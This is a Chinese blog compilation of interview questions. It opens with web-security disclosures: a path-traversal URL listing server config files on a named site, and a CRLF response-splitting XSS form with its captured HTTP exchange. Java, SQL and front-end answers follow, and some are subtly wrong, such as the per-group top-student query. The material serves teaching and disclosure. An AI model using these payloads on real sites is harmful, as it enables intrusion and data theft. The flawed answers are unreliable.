部分朋友應該知道之前我在我的blog里公布了ah163.net上的一個安全漏洞,安全級別高:極度危險,由于我沒有公布細節,大家都比較好奇想知道是什么。出于對同行的尊重我就刪除了漏洞公布這一欄的內容了。我已經通知ah163.net的同行了,他們已經fix那個問題。 ?
??
今天我們就講講這個漏洞,love.ah163.net上有網絡硬盤服務,當注冊用戶登錄并開通網絡硬盤服務后,即可進入自己的硬盤管理界面,我們來看看它是如何進入某一個目錄的,以下是進入某一目錄的URL: http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder ?
??
那現在我把這個URL改裝一下: ?
http://love.ah163.net/Personal_Spaces_List.php?dir=../../../../../../../../../../../../../usr/local/apache/conf/ ?
??
在瀏覽器里運行它,會是什么結果呢?結果是:/usr/local/apache/conf/里的所有文件都老老實實的列出來了,通過這種方式,你可以發揮你的想象了,服務器上的東東是不是都差不多可以列出來了?告訴你,還可以隨便下載呢!網絡硬盤嘛,就是用來上傳下載的,所以它提供的功能很完備,破壞性也就很強了。至于它的危害有多大,你自己想去吧,我就不危言聳聽了。 ?
??
簡要的解決方案: ?
1、同樣是限制Web應用在服務器上的運行 ??
??
2、進行嚴格的輸入驗證,控制用戶輸入非法路徑 ?
??
問題7-5、http請求頭的額外的回車換行符注入(CRLF injection/HTTP response splitting) ?
??
CRLF:Carriage-Return Line-Feed 回車換行 ?
HTTP response splitting:HTTP 響應頭分割 ?
??
為了講清楚這個問題,首先我們來看一個校內網的XSS。 ?
??
漏洞出在 http://login.xiaonei.com ?
??
正常情況下,用戶名處是已經htmlencode過了的 ?
(實際上 a<script>這里是 htmlencode過的) ?
??
接下來隨便在什么站上構造如下form: ?
??
??
< form id="x" action="http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script>" method="post"> ? ?<!-- input name="email" value="" / --> ? ?<input name="password" value="testtest" /> ? ?<input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" /> ? ?<input name="formName" value="" /> ? ?<input name="method" value="" /> ? ?<input type="submit" value="%E7%99%BB%E5%BD%95" /></form> ?
??
提交該表單 ?
??
將造成一個XSS ?
??
??
抓包看到數據是這樣構成的 ?
POST http://login.xiaonei.com/Login.do?email=a%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1 ?
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*Referer: http://www.a.com/test.htmlAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedUA-CPU: x86Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)Proxy-Connection: Keep-AliveContent-Length: 103Host: login.xiaonei.comPragma: no-cacheCookie: __utmc=204579609; XNESSESSIONID=abcThVKoGZNy6aSjWV54r; _de=axis@ph4nt0m.org; __utma=204579609.2036071383.1229329685.1229336555.1229347798.4; __utmb=204579609; __utmz=204579609.1229336555.3.3.utmccn=(referral)|utmcsr=a.com|utmcct=/test.html|utmcmd=referral; userid=246859805; univid=20001021; gender=1; univyear=0; hostid=246859805; xn_app_histo_246859805=2-3-4-6-7; mop_uniq_ckid=121.0.29.225_1229340478_541890716; syshomeforreg=1; id=246859805; BIGipServerpool_profile=2462586378.20480.0000; _de=a; BIGipServerpool_profile=2462586378.20480.0000password=testtest&origURL=http%253A%252F%252Fwww.xiaonei.com%252FSysHome.do%250d%250a&formName=&method=HTTP/1.1 200 OKServer: Resin/3.0.21Vary: Accept-EncodingCache-Control: no-cachePragma: no-cacheExpires: Thu, 01 Jan 1970 00:00:00 GMTSet-Cookie: kl=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: societyguester=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTSet-Cookie: _de=a<script>alert(/XSS/);</script>; domain=.xiaonei.com; expires=Thu, 10-Dec-2009 13:35:17 GMTSet-Cookie: login_email=null; domain=.xiaonei.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMTContent-Type: text/html;charset=UTF-8Connection: closeTransfer-Encoding: chunkedDate: Mon, 15 Dec 2008 13:35:17 GMT217b<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>...... ?
??
可以看到,實際上就是分割了http response 包的包頭, %0d%0a 是換行,從而插入了我們自己的數據。 ?
??
HTTP Response Splitting 是 CRLF Injection的一種.Carriage Return (CR, ASCII 13, ) Line Feed (LF, ASCII 10, ) ?
這兩個字符經常被用來作為換行。在很多文本、語言里,都能這么用,所以CRLF是一種廣義的攻擊,用在HTTP響應里,就是 HTTP Response Splitting ?
這已經是非常古老的技術了,現在拿出來說,是因為前兩天看paper,發現提到IE8 的 XSS Filter沒有,也不會(微軟已確認)增加 CRLF + XSS 的防范。所以在這里只能依靠我們自己來對抗這種攻擊。需要指出的是,如果直接用我上面那個form,可能會測試失敗,這是因為校內是有壓縮過HTTP包的客戶端瀏覽器(我的是IE7),提交包頭里有:Accept-Encoding: gzip, deflate所以服務器知道客戶端接受壓縮包,所以選擇了壓縮響應包Content-Encoding: gzip這里是采用gzip壓縮格式,如果壓縮后,直接插入明文的html代碼,會報錯。在實施HTTP Response Splitting的時候,一般通過如下3個條件可以達成這種攻擊(當然要沒過濾%0d%0a):1. Set-Cookie 中的內容用戶可以控制2. 302跳轉的 Location 地址用戶可以控制3. 其他自定義Header 用戶可以控制上面舉的校內網的例子就是第一種,在 Set-Cookie 中有個字段可以控制,而又沒過濾CR、LF實際上這里問題還不止如此,提交的參數中有一個 <input name="origURL" value="http%3A%2F%2Fwww.xiaonei.com%2FSysHome.do%0d%0a" />此處將造成一個 302 跳轉,滿足我們的第二個條件,這里也是可以控制的。第三個條件,自定義的header,這個不多見,但我也在大站里找到過案例,出于其他因素考慮,不在這里舉例了。 ?
GZIP的壓縮數據很討厭,導致我們必須要自己去壓縮數據,然后想辦法提交上去,大大增加了攻擊的門檻。但是如果CRLF的時候處在 Content-Encoding: gzip 之前,則可以提交明文數據,反之,則不能直接提交明文數據。比較萬能的跨站是直接在HTTP頭里插入新標準里的 Link 標簽Link: <http://www.a.com/xss.css>; REL:stylesheet可以直接造成XSS ?
不光是XSS,HTTP Response Splitting 的嚴重性要高于XSS,因為能修改HTTP返回包頭,所以很可能造成跨域問題。設想我們插入一個P3P頭,然后再在一個別的域引用此處,則會造成隱私數據的跨域.此類問題非常之多,很多大站都有,不再舉例了。漏洞組合起來,威力絕對不止1+1=2這么簡單了。要防范很簡單,過濾或者替換 %0d%0a,對我上面列出的3個條件,檢查所有輸出。 ?
??
問題8、Web應用程序安全性問題的本質是什么,請說說你的理解? ?
??
相信大家都或多或少的聽過關于各種Web應用安全漏洞,諸如:跨site腳本攻擊(XSS),SQL注入,上傳漏洞...形形色色. ?
在這里我并不否認各種命名與歸類方式,也不評價其命名的合理性與否,我想告訴大家的是,形形色色的安全漏洞中,其實所蘊含安全問題本質往往只有幾個。 我個人把Web應用程序安全性本質問題歸結以下三個部分: ?
1、輸入/輸出驗證(Input/output validation) ?
2、角色驗證或認證(Role authentication ) ?
3、所有權驗證(Ownership authentication) ?
?
說到這,讀者一定想知道我這三種分類與形形色色的安全性問題有什么關系?下面我逐個給您概略解答: ?
??
輸入/輸出驗證 ?
這里的輸入與輸出其實都是發生在用戶界面(User Interface)這一個層面上的,比如:你某一站點上提交一份注冊信息,往往會收到諸多提示:“用戶名非法”,“姓名不能使用英文“......其實這就是輸入驗證的一個實例。 ?
?
什么情況是輸出呢?比如說你成功提交一份注冊信息后,系統會返回一個確認頁(Registerred Confirmation),往往在這個頁面上會顯示你注冊時提交的部分或全部信息,那么在這里顯示的信息就是我所說的輸出實例之一。 ?
?
輸入需要做什么驗證? ?
假如你在提交時,在Address那一欄輸入:<script>alert("iwebsecurity");</script>, 當你到達注冊的確認頁時,會有什么發生?如果確認頁沒有做輸出驗證處理,那很顯然會在到達確認頁的時候出現一個JavaScript打出的提示框。其實這就是跨site腳本攻擊的一個小小的實例。當然了,單純的輸入/輸出驗證涉及的面可能夠寫一小本書了,努力在后續文章中給大家詳解。 ?
??
角色驗證或認證 ?
我們就拿CSDN來說吧,用戶有這些角色: ?
其一可以說是游客,就是瀏覽者沒有登錄時的角色; ?
其二是免費的注冊用戶;或許將來CSDN深入發展了,業務有所更新,還會出現收費的注冊用戶。 ?
以上只是用戶角色,那在CSDN公司內部還會有管理員角色,還有可能管理員又可以根據板塊分為各種不同的角色。大家看到了吧,你天天訪問的CSDN一共可能有多少角色? ?
?
接下來的問題就是權限問題了,為什么會有角色? ?
就是為了控制權限的。每種角色都有自己特定的與公共的權限,這些權限的邏輯關系是相當復雜的,如果一個Web應用在角色上沒有一個詳細的合理的設計,將會給開發人員帶來無限痛苦和麻煩。 ?
那現在我要問幾個問題:你能保證每種角色只能做其份內的事兒?你是如何去保證的呢?方法可靠嗎?有沒有漏洞?...... 這,就是我要說的角色驗證或認證。 ?
?
BTW(By the way順便說一下):為什么我會說驗證或認證呢? ?
你可以這么理解,角色性存在于兩個階段: ?
其一進入階段,比如你登錄的那一瞬間,你進入了一個特定的角色; ?
另一個階段就是維持階段,你如何確保你登錄后總是以登錄時的身份在操作呢? ?
那前者可以說是:認證,后者就是驗證了。(有點羅嗦不?) ?
?
給一個角色認證/驗證方面的虛擬案例,比如:一個在線電影服務提供商,會免費給您開一個試用角色,如果這試用角色驗證不當,可能會導致用戶權限提升而成為一個合法的收費用戶,而這個收費用戶你往往卻收不到他的任何費用。 ?
??
所有權驗證 ?
這個問題的存在也是基于角色的,只不過它所關心的是同級別的角色之間的權限問題。 ?
就拿CSDN來說吧,我是CSDN的一個免費用戶,你也是。 ?
?
現在的問題是:我可以替你操作嗎,我可以替你發表文章嗎?我能修改你的個性設置嗎? ?
如果不能,CSDN是如何實現的?雖然你和我都是普通用戶,但是你有你的隱私我也有我的隱私,如何保證嚴格的所有權驗證就顯得尤為關鍵了。 ?
?
比較簡單吧,這就是我所說的所有權驗證。 ?
??
我可以很自信的告訴你,只要是Web應用安全性問題,它逃不出在這三大部分。 ?
可能你還無法把形形色色的Web應用安全性問題與這三個部分對應并合理的解釋清楚,但是確實只有這么簡單的幾個部分。如果您有疑問,可以以評論的方式提問。我可能會回復,也可能會以另一篇文章的形式出現,以供大家參考。 ?
??
問題9、Filter過濾器功能和用法有哪些,是什么? ?
??
Filter過濾器: ?
Filter與Servlet相似,過濾器是一些Web應用程序組件,可以綁定到一個Web應用程序中。但是與其他Web應用程序組件不同的是,過濾器是"鏈"在容器的處理過程中的。這就意味著它們會在Servlet處理器之前訪問一個進入的請求,并且在外發響應信息返回到客戶前訪問這些響應信息。這種訪問使得過濾器可以檢查并修改請求和響應的內容。 ?
它與Servlet的區別在于:它不能直接向用戶生成響應。 ?
完整的Filter流程是: ?
Filter對用戶請求進行預處理,接著將請求交給Servlet進行處理并生成響應,最后Filter再對服務器響應進行后處理。 ?
??
Filter作用: ?
在HttpServletRequest到達Servlet之前,攔截客戶的HttpServletRequest請求 ?
根據需要檢查HttpServletRequest,也可以對HttpServletRequest頭和數據進行修改 ?
在HttpServletResponse到達客戶端之前,攔截HttpServletResponse ?
根據需要檢查HttpServletResponse,也可以對HttpServletResponse頭和數據進行修改 ?
Filter可以攔截多個請求和響應,一個請求和響應可以被多個Filter攔截 ?
??
Filter種類: ?
用戶授權的Filter:Filter負責檢查用戶的請求,根據請求過濾用戶的非法請求 ?
日志Filter:詳細記錄用戶的請求信息 ?
負責解碼的Filter:對非標準編碼的解碼 ?
能改變XML內容的XSLT Filter等 ?
??
Filter的實現: ?
創建Filter處理類:Filter處理類必須實現javax.servlet.Filter接口。該接口有3個方法: ?
public void init(FilterConfig arg0) throws ServletException ?
用于初始化Filter,只會在Web容器啟動的時候自動調用而且只調用一次,FilterConfig 封裝了Filter配置參數(init-param)內容信息,初始化的時候可以直接拿出來 ?
在acegi安全認證中FilterConfig封裝的是被代理對象 ?
public void doFilter(ServletRequest req, ServletResponse res,FilterChain chain) throws IOException,ServletException ?
用于實現過濾的方法,該方法會在每次請求中調用,或每次響應中調用 ?
ServletRequest 封裝了請求信息,ServletResponse 封裝了響應信息 ?
在chain.doFilter(req, res);代碼執行之前進行的處理是對請求的預處理,在chain.doFilter(req, res);代碼執行之后執行的處理是對響應進行的后處理,一般擁有權限的才調用chain.doFilter(req, res);方法或者跳轉到錯誤頁面 ?
public void destroy() ??
用于進行資源釋放,當過濾處理完畢后會調用該方法。 ?
Web.xml中配置Filter: ?
配置Filter名,如下: ?
<filter> ? ?
<filter-name>myFilter</filter-name> ?
<filter-class>com.lanp.MyFilter</filter-class> ?
<init-param> ?
<param-name>super_role</param-name> ?
<param-value>lanp</param-value> ?
</init-param> ?
</filter> ?
配置Filter名,如下: ?
<filter-mapping> ?
<filter-name>myFilter</filter-name> ?
<url-pattern>/*</url-pattern> ?
</filter-mapping> ?
??
2013年9月1日:易度軟件開發 ?
??
問題1、如何格式化double數據,保留小數點后x位,有多少種方式? ?
??
這里我們拿 Math.PI 來討論,保留兩位小數點 。(PI = 3.141592653589793)圓周率π ?
??
=================================================== ?
【方案1】 ?
Math.round( Math.PI * 100 ) /100.0 ?
??
Math.PI * 100 = 314.1592653589793 ?
Math.round(314.1592653589793) = 314 ?
314 / 100.0 = 3.14 (注意這里要除以 100.0 ,如果除以100的話,會是整除) ?
=================================================== ?
【方案2】 ?
String.format( "%.2f", Math.PI ) ?
??
String類的靜態方法 ?
=================================================== ?
【方案3】 ?
new DecimalFormat("#.00").format(Math.PI) ?
??
java.text.DecimalFormat ?
=================================================== ?
【方案4】 ?
new BigDecimal(Math.PI).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue() ?
??
特殊說明下,要用BigDecimal(String s)這個構造方法,不能直接傳double的參數,不然四舍五入有問題的 ?
java.math.BigDecimal ?
=================================================== ?
【方案5】 ?
NumberFormat nf = NumberFormat.getNumberInstance(); ??
nf.setMaximumFractionDigits(2); ?
nf.format(Math.PI); ?
??
java.text.NumberFormat ?
=================================================== ?
【方案6】 ?
先轉字符串,然后 substring截取 ?
??
截取小數點后N位(先定位小數點位置):得到i ?//i表示小數點位置+N ?
定位小數點截取subString(0,i+1); ? ? ? ? ? ? ? ?//差不多這個意思... ?
=================================================== ?
??
??
問題2、JAVA實現從10~50中隨機生成50個數,統計出現的數字及次數,輸出出現最多的次數及對應的數字,按數字升序排列? ?
??
public static void main(String[] args) { ?
? ? ? ? TreeMap<Integer, Integer> map = new TreeMap<Integer, Integer>(); ?
? ? ? ? for (int i = 0; i < 50; i++) { ?
? ? ? ? ? ? // random*41就是范圍從0-40內,+10為10到50 ?
? ? ? ? ? ? int number = (int) (Math.random() * 41) + 10; ?
? ? ? ? ? ? System.out.print(number + " "); ?
? ? ? ? ? ? ??
? ? ? ? ? ? //統計次數,如果map里存在了+1,不存在則存入 ?
? ? ? ? ? ? if (map.containsKey(number)) { ?
? ? ? ? ? ? ? ? map.put(number, map.get(number) + 1); ?
? ? ? ? ? ? } else { ?
? ? ? ? ? ? ? ? map.put(number, 1); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(); ?
? ? ? ? Collection cols = map.values();//獲取map的鍵值對里值的集合 ?
? ? ? ? int max = Collections.max(cols);//獲取最大次數 ?
? ? ? ? ??
? ? ? ? List list = new ArrayList(); ?
??
? ? ? ? Iterator it = map.entrySet().iterator();//獲取迭代器 ?
??
? ? ? ? while (it.hasNext()) { ?
? ? ? ? ? ? Map.Entry entry = (Map.Entry) it.next(); ?
? ? ? ? ? ? Integer key = (Integer) entry.getKey(); ?
? ? ? ? ? ? Integer val = (Integer) entry.getValue(); ?
? ? ? ? ? ? ??
? ? ? ? ? ? //如果與最大次數相同則增加到集合中 ?
? ? ? ? ? ? if (val == max) { ?
? ? ? ? ? ? ? ? list.add(key); ?
? ? ? ? ? ? } ?
? ? ? ? ? ? System.out.println(key + "出現的次數為:" + val); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println("出現的最大次數為:" + max); ?
??
? ? ? ? Iterator maxNum = list.iterator(); ?
? ? ? ? while (maxNum.hasNext()) { ?
? ? ? ? ? ? System.out.println("這些數字是:" + maxNum.next()); ?
? ? ? ? } ?
? ? } ?
??
問題3、Final、finally、finalize的區別? ?
??
Final用于聲明屬性,方法和類,分別表示屬性不可變,方法不可覆蓋,類不可繼承。 ??
因此一個類不能既被聲明為 abstract的,又被聲明為final的。 ?
將變量或方法聲明為final,可以保證它們在使用中不被改變。 ?
被聲明為final的變量必須在new一個對象時初始化(即只能在聲明變量或構造器或代碼塊內初始化),而在以后的引用中只能讀取,不可修改。 ?
被聲明為final的方法也同樣只能使用,不能覆蓋(重寫)。 ?
?
finally是異常處理語句結構的一部分,表示總是執行。 ?
??
finalize是Object類的一個方法,在垃圾收集器執行的時候會調用被回收對象的此方法,可以覆蓋此方法提供垃圾收集時的其他資源回收,例如關閉文件等。JVM不保證此方法總被調用。 ?
方法名,Java 技術允許使用 finalize() 方法在垃圾收集器將對象從內存中清除出去之前做必要的清理工作。這個方法是由垃圾收集器在確定這個對象沒有被引用時對這個對象調用的。 ?
它是在 Object 類中定義的,因此所有的類都繼承了它。 ?
子類覆蓋 finalize() 方法以整理系統資源或者執行其他清理工作。finalize() 方法是在垃圾收集器刪除對象之前對這個對象調用的。 ?
注意:finalize不一定被JVM調用,只有當垃圾回收器要清除垃圾時才被調用。 ?
?
問題4、如何將int、char、boolean類型的數據轉換為字符串類型? ?
??
String.valueOf(i); ?
Integer.toString(i); Character.toString(i);Boolean.toString(i); ?
String s = "" + i; ?
?
問題5、如何將字符串類型轉換為int、boolean類型? ?
?
Integer.parseInt(String); ? ?
Integer.valueOf(String).intValue(); ?
?
Boolean.parseBoolean("true"); ?
Boolean.valueOf("true").booleanValue(); ?
?
?
問題6、以下代碼的運行結果? ?
?
String a = "xyz"; ?
? ? ? ? String b = "xyz"; ?
? ? ? ? String c = new String("xyz"); ?
? ? ? ? String k = "xy" + "z"; ?
? ? ? ? ??
? ? ? ? System.out.println(a == b); ? ? //true ?
? ? ? ? System.out.println(b == c); ? ? //false ?
? ? ? ? System.out.println(b.equals(c));//true ?
? ? ? ? System.out.println(a == k); ? ? //true ?
?System.out.println(a.equals(k));//true ?
?
問題7、以下代碼會發生什么問題? ?
?
for (double k = 0.5;; k = k + 0.1) { ?
? ? ? ? ? ? if (k == 1) { ?
? ? ? ? ? ? ? ? break; ?
? ? ? ? ? ? } ?
? ? ? ? } ?
?
Double會發生精度丟失問題,造成死循環 ?
?
問題8、概述MVC體系結構? ?
?
MVC是Model-View-Controller的簡寫。 ?
M代表業務邏輯層(通過JavaBean,EJB組件實現)。 ?
V是視圖層(由JSP頁面產生)。 ?
C屬于控制層(一般可以用基礎的Servlet實現,也可用Struts等開源框架實現) ?
通過這種設計模型把應用邏輯,處理過程和顯示邏輯分成不同的組件實現。這些組件可以進行交互和重用。 ?
??
問題9、現有一個頁面,如何記錄該頁面的訪問次數,有哪些實現方式? ?
??
使用監聽器當Session建立時sessionCreated(),存放在Application里的訪問次數+1 ?
??
使用JavaScript在頁面打開時,往后臺發送一個請求,瀏覽次數+1 ?
window.οnlοad=function(){ ?
// 此處發送異步請求,瀏覽次數+1 ?
} ?
??
問題10、JSP標準標簽庫中常用的標簽有哪些? ?
??
< c:out>、<c:if>、<c:choose>、<c:forEach>、<c:url>、<c:redirect>、<c:param> ?
??
問題11、頁面中html代碼片段如下,請問 infoArea 的背景顏色是什么,并請解析原因? ?
??
<style type="text/css"> ?
? ? ? ? .green {background-color:green} ?
</style> ?
?
<div id="infoArea" class="green" ??
style="background-color:red; width:100px; height:50px"></div> ?
??
infoArea的背景色是紅色,因為style的權重是1000,而類選擇器的權重僅為10,優先級判斷為style ?
??
CSS規范為不同類型的選擇器定義了特殊性權重,特殊性權重越高,樣式會被優先應用。 ?
權重設定如下: ??
html選擇器,權重為1 ?
類選擇器,權重為10 ?
id選擇器,權重為100 ?
內聯樣式style,權重為1000 ?
這里還有一種情況:在html標簽中直接使用style屬性,這里的style屬性的權重為1000; ?
??
問題12、寫一段js腳本將 infoArea的高度改為200px。最好能使用jquery語法? ?
??
$(function(){ ?
? ? ? ? $("#infoArea").css({"height":"200px"}); ?
}); ?
??
問題13、頁面上有2個按鈕Button1和Button2;當點擊Button1時,顯示div1,隱藏div2;當點擊Button2時,顯示div2,隱藏div1,如何實現? ?
??
<input type="button" id="Button1" value="Button1"> ?
<input type="button" id="Button2" value="Button2"> ?
<div id="div1">div1</div> ?
<div id="div2">div2</div> ?
??
??
$(function(){ ?
? ? ? ? $("#Button1").click(function(){ ?
? ? ? ? ? ? $("#div2").hide(); ?
? ? ? ? ? ? $("#div1").show(); ?
? ? ? ? }); ?
? ? ? ? $("#Button2").click(function(){ ?
? ? ? ? ? ? $("#div1").hide(); ?
? ? ? ? ? ? $("#div2").show(); ?
? ? ? ? }); ?
? ? }); ?
??
問題14、使用JSTL標簽,將dataList數據以表格方式展現。(假設標簽庫已引入,<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>) ?
??
<% ?
? ? ? ? ? ? List<Map<String, Object>> dataList = new ArrayList<Map<String, Object>>(); ?
??
? ? ? ? ? ? Map<String, Object> dataMap = new HashMap<String, Object>(); ?
? ? ? ? ? ? dataList.add(dataMap); ?
? ? ? ? ? ? dataMap.put("ID", "1001"); ?
? ? ? ? ? ? dataMap.put("NAME", "張三"); ?
? ? ? ? ? ? dataMap.put("SCORES", 90); ?
??
? ? ? ? ? ? dataMap = new HashMap<String, Object>(); ?
? ? ? ? ? ? dataList.add(dataMap); ?
? ? ? ? ? ? dataMap.put("ID", "1002"); ?
? ? ? ? ? ? dataMap.put("NAME", "李四"); ?
? ? ? ? ? ? dataMap.put("SCORES", 95); ?
? ? ? ? ? ? ??
? ? ? ? ? ? pageContext.setAttribute("dataList",dataList); ?
? ? ? ? %> ?
??
...... ?
??
工號 ?名稱 ?分數 ?
1001 ? ?張三 ?90 ?
...... ?...... ?...... ?
??
代碼如下: ?
??
<table border="1" width="50%"> ?
? ? ? ? ? ? <tr> ?
? ? ? ? ? ? ? ? <td>工號</td><td>姓名</td><td>分數</td> ?
? ? ? ? ? ? </tr> ?
? ? ? ? ? ? <c:forEach var="dataMap" items="${dataList}"> ?
? ? ? ? ? ? ? ? <c:forEach var="data" items="${dataMap}"> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='ID'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="id" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='NAME'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="name" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='SCORES'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="scores" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? </c:forEach> ?
? ? ? ? ? ? ? ? <tr> ?
? ? ? ? ? ? ? ? ? ? <td>${id}</td><td>${name}</td><td>${scores}</td> ?
? ? ? ? ? ? ? ? </tr> ?
? ? ? ? ? ? </c:forEach> ?
? ? ? ? </table> ?
??
問題15、數據庫編程題? ?
??
表名:g_cardapply ?
字段(字段名/類型/長度): ?
g_applyno ? ? ? varchar ? ? 8;//申請單號(關鍵字) ?
g_applydate ? ? bigint ? ? ?8;//申請日期 ?
g_state ? ? ? ? varchar ? ? 2;//申請狀態 ?
? ?
表名:g_cardapplydetail ?
字段(字段名/類型/長度): ?
g_applyno ? ? ? varchar ? ? 8;//申請單號(關鍵字) ?
g_name ? ? ? ? ?varchar ? ? 30;//申請人姓名 ?
g_idcard ? ? ? ?varchar ? ? 18;//申請人身份證號 ?
g_state ? ? ? ? varchar ? ? 2;//申請狀態 ?
??
其中,兩個表的關聯字段為申請單號。 ?
??
建表語句: ?
??
DROP DATABASE IF EXISTS yidu; ?
CREATE DATABASE yidu; ?
??
USE yidu; ?
??
DROP TABLE IF EXISTS g_cardapply; ?
CREATE TABLE g_cardapply( ?
g_applyno VARCHAR(8), ?
g_applydate BIGINT(8), ?
g_state VARCHAR(2), ?
PRIMARY KEY ?(g_applyno) ?
); ?
??
DROP TABLE IF EXISTS g_cardapplydetail; ?
CREATE TABLE g_cardapplydetail( ?
g_applyno VARCHAR(8), ?
g_name VARCHAR(30), ?
g_idcard VARCHAR(18), ?
g_state VARCHAR(2), ?
PRIMARY KEY ?(g_applyno) ?
); ?
??
INSERT INTO g_cardapply values("12345677",13780512,"01"); ?
INSERT INTO g_cardapply values("12345678",13780512,"02"); ?
INSERT INTO g_cardapply values("12345679",13780512,"01"); ?
INSERT INTO g_cardapply values("12345680",13780512,"02"); ?
??
INSERT INTO g_cardapplydetail values("12345677","陳太上","12345678910","01"); ?
INSERT INTO g_cardapplydetail values("12345678","陳太上","12345678910","02"); ?
INSERT INTO g_cardapplydetail values("12345679","李小龍","12345678911","01"); ?
INSERT INTO g_cardapplydetail values("12345680","李小龍","12345678911","02"); ?
??
SELECT * FROM g_cardapply; ?
SELECT * FROM g_cardapplydetail; ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
select from_unixtime(1378051200000/1000);#BIGINT轉datetime ?
select UNIX_TIMESTAMP('2013-09-02')/100;#time轉BIGINT ?
??
查詢身份證號碼為440401430103082的申請日期 ?
??
SELECT gc.g_applydate ??
FROM g_cardapply gc,g_cardapplydetail gcd ??
WHERE gc.g_applyno = gcd.g_applyno AND ??
gcd.g_idcard = '440401430103082'; ?
??
查詢同一個身份證號碼有兩條以上記錄的身份證號碼及記錄個數 ?
??
SELECT g_idcard,count(g_idcard) ??
FROM g_cardapplydetail ??
group by g_idcard ??
having count(g_idcard)>=2; ?
??
將身份證號碼為440401430103082的記錄在兩個表中的申請狀態均改為07; ?
??
UPDATE g_cardapply SET g_state='07' ??
WHERE g_applyno in ??
(SELECT g_applyno FROM g_cardapplydetail ??
WHERE g_idcard='440401430103082'); ?
??
刪除g_cardapplydetail表中所有姓李的記錄 ?
??
DELETE FROM g_cardapplydetail ??
WHERE g_name like '李%'; ?
??
問題16、數據庫編程題,學生表(student{studentId, groupId, studentName, score})和興趣小組表(study_group{groupId,groupName})關聯如下圖。 ?
??
學校每個學生都可以選擇參加一個興趣小組(也可以不參加)。問: ?
建表語句: ?
DROP DATABASE IF EXISTS yidu; ?
CREATE DATABASE yidu; ?
??
USE yidu; ?
??
DROP TABLE IF EXISTS study_group; ?
CREATE TABLE study_group( ?
groupId VARCHAR(38), ?
groupName VARCHAR(30), ?
PRIMARY KEY ?(groupId) ?
); ?
??
DROP TABLE IF EXISTS student; ?
CREATE TABLE student( ?
studentId VARCHAR(38), ?
groupId VARCHAR(38), ?
studentName VARCHAR(10), ?
score NUMERIC(4,1), ?
PRIMARY KEY ?(studentId), ?
CONSTRAINT fk_gid FOREIGN KEY(groupId) REFERENCES study_group(groupId) ?
); ?
??
??
INSERT INTO study_group values("123","一組"); ?
INSERT INTO study_group values("124","二祖"); ?
??
INSERT INTO student values("1","123","陳一",90.9); ?
INSERT INTO student values("2","123","陳二",81.9); ?
INSERT INTO student values("3","124","陳三",93.9); ?
INSERT INTO student values("4","124","陳四",70.9); ?
INSERT INTO student values("5",null,"陳五",60.9); ?
INSERT INTO student values("6",null,"陳六",80.9); ?
??
SELECT * FROM study_group; ?
SELECT * FROM student; ?
??
用一條SQL查出各小組成績最優秀的學生,需要查出<小組名稱、學生名稱、成績> ?
??
SELECT sgp.groupName,stu.studentName,max(stu.score) ??
FROM student stu,study_group sgp ??
WHERE stu.groupId = sgp.groupId ??
GROUP BY sgp.groupName; ?
??
??
??
將所有沒有參加小組的學生的活動成績更新為0 ?
??
UPDATE student set score = 0 ??
WHERE groupId IS NULL; ?
??
用一條sql查出所有學生參加興趣小組的情況,需要查出<學生名稱、小組名稱>如果學生沒有參加小組,則小組名稱返回“沒有參加小組” ?
??
SELECT stu.studentName,IFNULL(sgp.groupName ,'沒有參加小組') ?
FROM student stu LEFT JOIN study_group sgp ?
on stu.groupId = sgp.groupId; ?
??
問題17、用程序在控制臺打印出所有由1、2、3、4組合出來的4位數,不可重復出現同一個數字 ?
??
/** ?
? ? ? ? ?* 本法是輸入1,2,3,4不重復的4位數 ?
? ? ? ? ?*一個循環是代表一個位數,在最后一層中做個判斷并輸出,就可以顯示了。 ?
? ? ? ? ?*/ ?
? ? ? ? for (int i = 1; i < 5; i++) { ?
? ? ? ? ? ? for (int j = 1; j < 5; j++) { ?
? ? ? ? ? ? ? ? for (int m = 1; m < 5; m++) { ?
? ? ? ? ? ? ? ? ? ? for (int n = 1; n < 5; n++) { ?
? ? ? ? ? ? ? ? ? ? ? ? if (i != j && i != m && i != n && j != m && j != n ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? && m != n) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.println(i + "" + j + "" + m + "" + n); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
